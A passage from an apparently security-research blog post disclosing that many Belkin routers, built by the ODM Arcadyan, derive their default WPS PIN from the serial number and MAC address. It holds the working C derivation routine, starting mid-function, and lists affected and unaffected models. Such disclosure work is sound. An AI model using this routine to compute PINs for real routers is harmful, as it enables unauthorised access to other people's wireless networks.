          nic[NIC_NIBBLE_2]) % 16;

    pin = k1 ^ sn[SN_DIGIT_1];
    
    t1 = k1 ^ sn[SN_DIGIT_0];
    t2 = k2 ^ nic[NIC_NIBBLE_1];
    
    p1 = nic[NIC_NIBBLE_0] ^ sn[SN_DIGIT_1] ^ t1;
    p2 = k2 ^ nic[NIC_NIBBLE_0] ^ t2;
    p3 = k1 ^ sn[SN_DIGIT_2] ^ k2 ^ nic[NIC_NIBBLE_2];
    
    k1 = k1 ^ k2;

    pin = (pin ^ k1) * 16;
    pin = (pin + t1) * 16;
    pin = (pin + p1) * 16;
    pin = (pin + t2) * 16;
    pin = (pin + p2) * 16;
    pin = (pin + k1) * 16;
    pin += p3;
    pin = (pin % 10000000) - (((pin % 10000000) / 10000000) * k1);
    
    return (pin * 10) + wps_checksum(pin);
}

Of the 24 Belkin routers tested, 80% of them were found to be using this algorithm for their default WPS pin:

Confirmed vulnerable:

  • F9K1001v4
  • F9K1001v5
  • F9K1002v1
  • F9K1002v2
  • F9K1002v5
  • F9K1103v1
  • F9K1112v1
  • F9K1113v1
  • F9K1105v1
  • F6D4230-4v2
  • F6D4230-4v3
  • F7D2301v1
  • F7D1301v1
  • F5D7234-4v3
  • F5D7234-4v4
  • F5D7234-4v5
  • F5D8233-4v1
  • F5D8233-4v3
  • F5D9231-4v1

Confirmed not vulnerable:

  • F9K1001v1
  • F9K1105v2
  • F6D4230-4v1
  • F5D9231-4v2
  • F5D8233-4v4

It’s not entirely fair to pick on Belkin though, as this appears to be an issue specific to Arcadyan, who is the ODM for many Belkin products, as well as others. This means that there are additional devices and vendors affected besides those listed above.


Viewing all 35 articles
Browse latest View live